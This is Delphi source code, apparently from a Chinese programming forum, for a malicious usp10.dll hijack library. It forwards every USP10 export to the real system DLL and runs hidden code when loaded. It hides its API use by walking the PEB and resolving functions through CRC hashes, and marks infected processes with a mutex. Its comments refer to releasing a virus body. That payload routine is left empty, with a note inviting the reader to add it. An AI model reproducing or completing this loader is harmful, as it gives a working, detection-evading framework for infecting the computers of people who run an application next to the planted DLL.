[Delphi] 纯文本查看 复制代码
library usp10;
uses
Windows;
var
pUspKernelOfHijacked : pchar = 'KernelOfHijacked';
pUspInfectedPath : array[0..250] of char; //exe
pUspHijackedPath : array[0..250] of char; //dll
hUspMutex: Thandle = 0;
hUspEvent: Thandle = 0;
hUspThread: Thandle = 0;
pUspInfected: BOOL = FALSE;
pWinPlatform: Pchar;
hOldUspLibrary: HMODULE = 0;
pOldUspLibraryPath: array[0..250] of char;
pOldUspLibraryLoad: pchar = '\USP10';
pOldLpkPresent,
pOldScriptApplyDigitSubstitution,
pOldScriptApplyLogicalWidth,
pOldScriptBreak,
pOldScriptCPtoX,
pOldScriptCacheGetHeight,
pOldScriptFreeCache,
pOldScriptGetCMap,
pOldScriptGetFontProperties,
pOldScriptGetGlyphABCWidth,
pOldScriptGetLogicalWidths,
pOldScriptGetProperties,
pOldScriptIsComplex,
pOldScriptItemize,
pOldScriptJustify,
pOldScriptLayout,
pOldScriptPlace,
pOldScriptRecordDigitSubstitution,
pOldScriptShape,
pOldScriptStringAnalyse,
pOldScriptStringCPtoX,
pOldScriptStringFree,
pOldScriptStringGetLogicalWidths,
pOldScriptStringGetOrder,
pOldScriptStringOut,
pOldScriptStringValidate,
pOldScriptStringXtoCP,
pOldScriptString_pLogAttr,
pOldScriptString_pSize,
pOldScriptString_pcOutChars,
pOldScriptTextOut,
pOldScriptXtoCP,
pOldUspAllocCache,
pOldUspAllocTemp,
pOldUspFreeMem : Pointer;
procedure LpkPresent; stdcall;
asm jmp pOldLpkPresent
end;
procedure ScriptApplyDigitSubstitution; stdcall;
asm jmp pOldScriptApplyDigitSubstitution
end;
procedure ScriptApplyLogicalWidth; stdcall;
asm jmp pOldScriptApplyLogicalWidth
end;
procedure ScriptBreak; stdcall;
asm jmp pOldScriptBreak
end;
procedure ScriptCPtoX; stdcall;
asm jmp pOldScriptCPtoX
end;
procedure ScriptCacheGetHeight; stdcall;
asm jmp pOldScriptCacheGetHeight
end;
procedure ScriptFreeCache; stdcall;
asm jmp pOldScriptFreeCache
end;
procedure ScriptGetCMap; stdcall;
asm jmp pOldScriptGetCMap
end;
procedure ScriptGetFontProperties; stdcall;
asm jmp pOldScriptGetFontProperties
end;
procedure ScriptGetGlyphABCWidth; stdcall;
asm jmp pOldScriptGetGlyphABCWidth
end;
procedure ScriptGetLogicalWidths; stdcall;
asm jmp pOldScriptGetLogicalWidths
end;
procedure ScriptGetProperties; stdcall;
asm jmp pOldScriptGetProperties
end;
procedure ScriptIsComplex; stdcall;
asm jmp pOldScriptIsComplex
end;
procedure ScriptItemize; stdcall;
asm jmp pOldScriptItemize
end;
procedure ScriptJustify; stdcall;
asm jmp pOldScriptJustify
end;
procedure ScriptLayout; stdcall;
asm jmp pOldScriptLayout
end;
procedure ScriptPlace; stdcall;
asm jmp pOldScriptPlace
end;
procedure ScriptRecordDigitSubstitution; stdcall;
asm jmp pOldScriptRecordDigitSubstitution
end;
procedure ScriptShape; stdcall;
asm jmp pOldScriptShape
end;
procedure ScriptStringAnalyse; stdcall;
asm jmp pOldScriptStringAnalyse
end;
procedure ScriptStringCPtoX; stdcall;
asm jmp pOldScriptStringCPtoX
end;
procedure ScriptStringFree; stdcall;
asm jmp pOldScriptStringFree
end;
procedure ScriptStringGetLogicalWidths; stdcall;
asm jmp pOldScriptStringGetLogicalWidths
end;
procedure ScriptStringGetOrder; stdcall;
asm jmp pOldScriptStringGetOrder
end;
procedure ScriptStringOut; stdcall;
asm jmp pOldScriptStringOut
end;
procedure ScriptStringValidate; stdcall;
asm jmp pOldScriptStringValidate
end;
procedure ScriptStringXtoCP; stdcall;
asm jmp pOldScriptStringXtoCP
end;
procedure ScriptString_pLogAttr; stdcall;
asm jmp pOldScriptString_pLogAttr
end;
procedure ScriptString_pSize; stdcall;
asm jmp pOldScriptString_pSize
end;
procedure ScriptString_pcOutChars; stdcall;
asm jmp pOldScriptString_pcOutChars
end;
procedure ScriptTextOut; stdcall;
asm jmp pOldScriptTextOut
end;
procedure ScriptXtoCP; stdcall;
asm jmp pOldScriptXtoCP
end;
procedure UspAllocCache; stdcall;
asm jmp pOldUspAllocCache
end;
procedure UspAllocTemp; stdcall;
asm jmp pOldUspAllocTemp
end;
procedure UspFreeMem; stdcall;
asm jmp pOldUspFreeMem
end;
procedure UspExportTable();
begin
pOldLpkPresent:= GetProcAddress(hOldUspLibrary, 'LpkPresent');
pOldScriptApplyDigitSubstitution:= GetProcAddress(hOldUspLibrary, 'ScriptApplyDigitSubstitution');
pOldScriptApplyLogicalWidth:= GetProcAddress(hOldUspLibrary, 'ScriptApplyLogicalWidth');
pOldScriptBreak:= GetProcAddress(hOldUspLibrary, 'ScriptBreak');
pOldScriptCPtoX:= GetProcAddress(hOldUspLibrary, 'ScriptCPtoX');
pOldScriptCacheGetHeight:= GetProcAddress(hOldUspLibrary, 'ScriptCacheGetHeight');
pOldScriptFreeCache:= GetProcAddress(hOldUspLibrary, 'ScriptFreeCache');
pOldScriptGetCMap:= GetProcAddress(hOldUspLibrary, 'ScriptGetCMap');
pOldScriptGetFontProperties:= GetProcAddress(hOldUspLibrary, 'ScriptGetFontProperties');
pOldScriptGetGlyphABCWidth:= GetProcAddress(hOldUspLibrary, 'ScriptGetFontProperties');
pOldScriptGetLogicalWidths:= GetProcAddress(hOldUspLibrary, 'ScriptGetLogicalWidths');
pOldScriptGetProperties:= GetProcAddress(hOldUspLibrary, 'ScriptGetProperties');
pOldScriptIsComplex:= GetProcAddress(hOldUspLibrary, 'ScriptIsComplex');
pOldScriptItemize:= GetProcAddress(hOldUspLibrary, 'ScriptItemize');
pOldScriptJustify:= GetProcAddress(hOldUspLibrary, 'ScriptJustify');
pOldScriptLayout:= GetProcAddress(hOldUspLibrary, 'ScriptLayout');
pOldScriptPlace:= GetProcAddress(hOldUspLibrary, 'ScriptPlace');
pOldScriptRecordDigitSubstitution:= GetProcAddress(hOldUspLibrary, 'ScriptRecordDigitSubstitution');
pOldScriptShape:= GetProcAddress(hOldUspLibrary, 'ScriptShape');
pOldScriptStringAnalyse:= GetProcAddress(hOldUspLibrary, 'ScriptStringAnalyse');
pOldScriptStringCPtoX:= GetProcAddress(hOldUspLibrary, 'ScriptStringCPtoX');
pOldScriptStringFree:= GetProcAddress(hOldUspLibrary, 'ScriptStringFree');
pOldScriptStringGetLogicalWidths:= GetProcAddress(hOldUspLibrary, 'ScriptStringGetLogicalWidths');
pOldScriptStringGetOrder:= GetProcAddress(hOldUspLibrary, 'ScriptStringGetOrder');
pOldScriptStringOut:= GetProcAddress(hOldUspLibrary, 'ScriptStringOut');
pOldScriptStringValidate:= GetProcAddress(hOldUspLibrary, 'ScriptStringValidate');
pOldScriptStringXtoCP:= GetProcAddress(hOldUspLibrary, 'ScriptStringXtoCP');
pOldScriptString_pLogAttr:= GetProcAddress(hOldUspLibrary, 'ScriptString_pLogAttr');
pOldScriptString_pSize:= GetProcAddress(hOldUspLibrary, 'ScriptString_pSize');
pOldScriptString_pcOutChars:= GetProcAddress(hOldUspLibrary, 'ScriptString_pcOutChars');
pOldScriptTextOut:= GetProcAddress(hOldUspLibrary, 'ScriptTextOut');
pOldScriptXtoCP:= GetProcAddress(hOldUspLibrary, 'ScriptXtoCP');
pOldUspAllocCache:= GetProcAddress(hOldUspLibrary, 'UspAllocCache');
pOldUspAllocTemp:= GetProcAddress(hOldUspLibrary, 'UspAllocTemp');
pOldUspFreeMem:= GetProcAddress(hOldUspLibrary, 'UspFreeMem');
end;
procedure UspMainProcess();
begin
//病毒体释放的部分已移除!!!可以自行添加
end;
function GetKernel32Module(): HMODULE;
asm
push esi
mov eax, fs:$30
mov eax, [eax+$0c]
mov esi, [eax+$1c]
lodsd
mov eax, [eax+$08]
pop esi
end;
function LStrLengthA(lpString: PAnsiChar): UINT;
asm
push edi
push ebx
mov edi, eax
mov ebx, eax
xor al, al // al = 00 遇到字符串末尾则退出循环
mov cx, 255 // cx = ff 字符串超过255则退出循环
repne scasb
dec edi
sub edi, ebx
mov eax, edi
pop ebx
pop edi
end;
function CalcBufferCRC(lpString: PAnsiChar): UINT;
var
checksum : DWORD;
asm
push ebx
push ecx
push edx
push edi
push esi
mov ebx, eax
call LStrLengthA // eax = 字符串长度
xor edx, edx // edx = 整除后的余数
mov ecx, 4
div ecx
xor ecx, ecx
@@loopBegin:
dec eax // eax = 整除后的整数
jl @@loopOver
xor ecx, dword ptr ds:[ebx] // ecx = CRC32
add ebx, 4
jmp @@loopBegin
@@loopOver:
test edx, edx // 如果有余数则执行
je @@Nochecksum
mov eax, ecx
mov esi, ebx // esi = 剩余字节的首指针
lea edi, checksum
mov dword ptr ds:[edi], 0 // checksum 归零 这样的做法为了保证只读取 00 之前的剩余字节
mov ecx, edx
rep movsb // checksum 得到剩余字节(自然是小于4咯)
lea edi, checksum
xor eax, dword ptr ds:[edi] // 最后一次
jmp @@calcEnd
@@Nochecksum:
mov eax, ecx // 直接获取 ECX 中的 CRC32
@@calcEnd:
pop esi
pop edi
pop edx
pop ecx
pop ebx
end;
function GetProcAddressCRC(dwExportCRC: UINT): Pointer;
var
lpProcNameCRC, dwProcNumber: Cardinal;
pProcAddress, pProcNameAddress, pProcIndexAddress: Pointer;
asm
push ebx
push esi
mov lpProcNameCRC, eax // edx=函数名CRC32
call GetKernel32Module // eax=kernel32
mov ebx, eax // ebx=基址
mov eax, [ebx+$3c] // eax=文件头偏移
mov esi, [ebx+eax+$78] // esi=输出表偏移,文件头+可选头的长度=$78
lea esi, [ebx+esi+$18] // esi=函数名数量 = 函数数量 [ebx+esi+$14]
lodsd
mov dwProcNumber, eax // eax=函数名数量
lodsd
mov pProcAddress, eax // eax=函数偏移量
lodsd
mov pProcNameAddress, eax // eax=函数名偏移量
lodsd
mov pProcIndexAddress, eax // eax=序列号偏移量
mov edx, dwProcNumber // edx=遍历次数
@@LoopBegin:
xor eax, eax // Result = 0
dec edx
jl @@LoopEnd
mov eax, pProcNameAddress
add eax, ebx // eax=函数名基地址
mov eax, dword ptr ds:[eax+edx*4]
add eax, ebx // eax=遍历函数名
call CalcBufferCRC
cmp eax, lpProcNameCRC // 对比CRC32
jnz @@LoopBegin
shl edx, 1
add edx, pProcIndexAddress // 函数基序列
movzx eax, word ptr ss:[edx+ebx]
shl eax, 2
add eax, pProcAddress // 函数基地址
mov eax, [eax+ebx]
add eax, ebx // Result = 函数地址
@@LoopEnd:
pop esi
pop ebx
end;
procedure UspDllLoad();
asm
push hInstance
call DisableThreadLibraryCalls
push MAX_PATH
push offset pUspInfectedPath //读取感染路径 exe
push 0
call GetModuleFileNameA
push MAX_PATH
push offset pUspHijackedPath //读取劫持路径 dll
push hInstance
call GetModuleFileNameA
@@DoHijacked:
mov eax, $55507243 //CreateMutexA CRC32
call GetProcAddressCRC
push pUspKernelOfHijacked
push TRUE
push 0
call eax
test eax, eax
je @@DoRestore
mov hUspMutex, eax
call GetLastError
cmp eax, ERROR_ALREADY_EXISTS
jne @@DoInfected
push hUspMutex
call CloseHandle
jmp @@DoRestore //如果互斥体存在则直接恢复USP10.DLL
@@DoInfected:
call UspMainProcess //释放病原体
@@DoRestore:
push MAX_PATH
push offset pOldUspLibraryPath
call GetSystemDirectoryA
push pOldUspLibraryLoad
push offset pOldUspLibraryPath
call lstrcatA
mov eax, $577A7461 //LoadLibraryA CRC32
call GetProcAddressCRC
push offset pOldUspLibraryPath
call eax
mov hOldUspLibrary, eax
call UspExportTable
end;
procedure UspDllFree();
asm
mov eax, hUspEvent
test eax, eax
je @@NotEvent
push eax
call SetEvent
push INFINITE
push hUspThread
call WaitForSingleObject
push hUspThread
call CloseHandle
push hUspEvent
call CloseHandle
@@NotEvent:
push hOldUspLibrary
call FreeLibrary
end;
exports
LpkPresent,
ScriptApplyDigitSubstitution,
ScriptApplyLogicalWidth,
ScriptBreak,
ScriptCPtoX,
ScriptCacheGetHeight,
ScriptFreeCache,
ScriptGetCMap,
ScriptGetFontProperties,
ScriptGetGlyphABCWidth,
ScriptGetLogicalWidths,
ScriptGetProperties,
ScriptIsComplex,
ScriptItemize,
ScriptJustify,
ScriptLayout,
ScriptPlace,
ScriptRecordDigitSubstitution,
ScriptShape,
ScriptStringAnalyse,
ScriptStringCPtoX,
ScriptStringFree,
ScriptStringGetLogicalWidths,
ScriptStringGetOrder,
ScriptStringOut,
ScriptStringValidate,
ScriptStringXtoCP,
ScriptString_pLogAttr,
ScriptString_pSize,
ScriptString_pcOutChars,
ScriptTextOut,
ScriptXtoCP,
UspAllocCache,
UspAllocTemp,
UspFreeMem;
asm
call @@attach // 直接 call 下一条语句
@@attach:
cmp DLLReason, DLL_PROCESS_ATTACH
jnz @@detach
lea eax, @@DLLProcessEnd
mov [esp], eax // 替换 call UspDllLoad 的返回地址为 DLLProcessEnd
lea eax, UspDllLoad // 替换本次 call 返回地址为 UspDllLoad
push eax
ret
@@detach:
lea eax, @@DLLProcessEnd
mov [esp], eax
lea eax, UspDllFree // 替代直接 call
push eax
ret
@@DLLProcessEnd:
leave
ret
end.